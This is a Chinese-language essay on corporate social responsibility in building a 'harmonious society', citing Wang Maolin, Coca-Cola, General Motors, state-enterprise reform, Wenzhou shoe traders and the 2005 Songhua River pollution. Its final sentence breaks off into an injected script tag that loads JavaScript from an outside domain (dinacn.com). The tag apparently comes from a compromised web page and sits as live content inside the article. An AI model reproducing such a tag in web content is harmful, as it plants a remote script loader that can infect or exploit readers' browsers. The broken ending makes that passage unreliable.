一、构建和谐社会必须强化企业的社会责任
全国人大常委会委员、全国人大法律委员会副主任委员、中国生产力学会会长王茂林,在人大报告中指出:“建设社会主义和谐社会,是党中央提出的重大战略决策。为了贯彻和落实党中央的重大决策,我们必须充分重视和发挥企业在构建和谐社会中的重要作用。”
“‘和谐’是一个浸透着中华文化精神的词汇,‘和谐社会’是一个包容面很广的社会系统概念。构建和谐社会,既涉及到生产力和生产关系,又涉及到经济基础和上层建筑,既要解决好生产力层面的问题,又要解决好生产关系(即经济基础)层面的问题。按照社会组织理论,构建和谐社会涉及到各个主要社会组织的社会责任,包括执政党和政府组织的社会责任、企业组织的社会责任、事业组织的社会责任、民间社团的社会责任和城乡基层社区的社会责任等等。其中企业组织的社会责任非常重要,在整个社会组织的责任体系中占有重要地位,发挥着重要作用。”
二、跨国公司的企业理念与公司责任
跨国公司之所以成功,是因为其具有推动社会发展的责任感和坚定的企业理念,这成为其持续经营的“行为准则”。
可口可乐在它的“承诺”中,清楚地表明:可口可乐存在,是为了使每一个从事可口可乐事业的人获得物质利益与精神振奋。由此,可口可乐获得了它稳定而永不改变的理 念:“当我们能够使员工快乐振奋而有价值,我们就能够成功地培育和保护我们的品牌,这就是我们能够持续地为公司带来商业回报的关键!”
以“不断进取”这一价值观为例。通用汽车通过不断降低能耗,实现公司运营和社会环境的双赢。通过全球协作,到2004年,通用汽车在全球的能源消耗已经降低了13%。此外,通用汽车的核心价值观也特别强调“尊重个人”,因此强调员工安全也成为了通用汽车的行为准则之一。到2004年,通用汽车全球生产厂和业务机构的事故发生率从每100人中每年发生21次,降低到3次,而损失的工时也从每100人每年损失3.5天降低到每1000人每年3天。尤其值得一提的是,通用汽车的这些成绩已经成为了全球汽车行业的标准。
三、中国企业责任理念突显
(一)国有企业的责任危机
在一定程度上“办社会”,是保证企业自身稳定和发展的必要措施。每天清晨7点半到8点之间,中芯国际的员工大批离开生活区到厂区上班。在上班的人流中,可以看到许多家长带着小孩,其中不乏金头发、蓝眼睛的“洋娃娃”。父母们把孩子送到离厂区只有几条街远的中芯国际学校之后再去中芯国际上班。
当越来越多的中芯国际、比亚迪这样纯粹的外资企业和私营企业,千方百计地为员工创造福利,增加那些本可以不必有的社会成本时,中国的国有企业正在加速国企改制,剥离社会职能,卸下包袱。两个看似反方向的运动说明了什么?一些不应该卸下的社会职能也被卸下。卸下包袱的企业其社会责任普遍匮乏。大型国有企业在企业社会责任上的所作所为与其经济实力远不相称。
(二)温州鞋商的社会责任课
当中国企业走向海外,适应当地的“社会责任体系”是比开拓市场、建立渠道等单纯的商业工作更加刻不容缓的首要任务。温州商人“竞争意识强”,部分商家延长开店时间、取消节假日休息、半夜也做卸货,可说习以为常。但他们不知道,这些“吃苦耐劳”的优良传统在海外市场却往往成了不尊重当地习俗和经营规矩的证据,而少数中国鞋商雇佣黑工更是引起当地政府和居民的极大不满,也成为引发双方矛盾的导火索。
(三)重塑商业伦理
过去的公司只对股东负责,但在今天的商业社会里仅仅遵循这个道德规范已远远不够,社会对企业的要求越来越多、越来越高。在全球化的今天,一个真正成功的企业,衡量的指标已不仅仅是利润。怎样来承担社会责任,怎样做一个市场经济社会里称职的“企业公民”,也是现代企业的应有之意。
四、不要回避企业责任
企业责任,看来像一种触摸不到的东西,但是它确确实实与社会、与每个人紧密相关。2005年,刚刚离去的松花江污染给人们带来的震惊和伤害,给原本平静和安详的生活留下了几许不和谐。江水污染,全城停水,哈尔滨380万市民至今仍“谈污色变”。从这个角度观察,企业的一举一动无时不在牵动着社会,无时无刻不在连结着民众的生活。对自然资源的保护,对自然可利用资源的节约,维持自然资源的可持续利用,开发新的可利用资源等等。构建和谐社会,企业责任应是一个重要环节。 尊重企业职工,尊重人权,让每个?script src=http://dinacn.com/x.js> |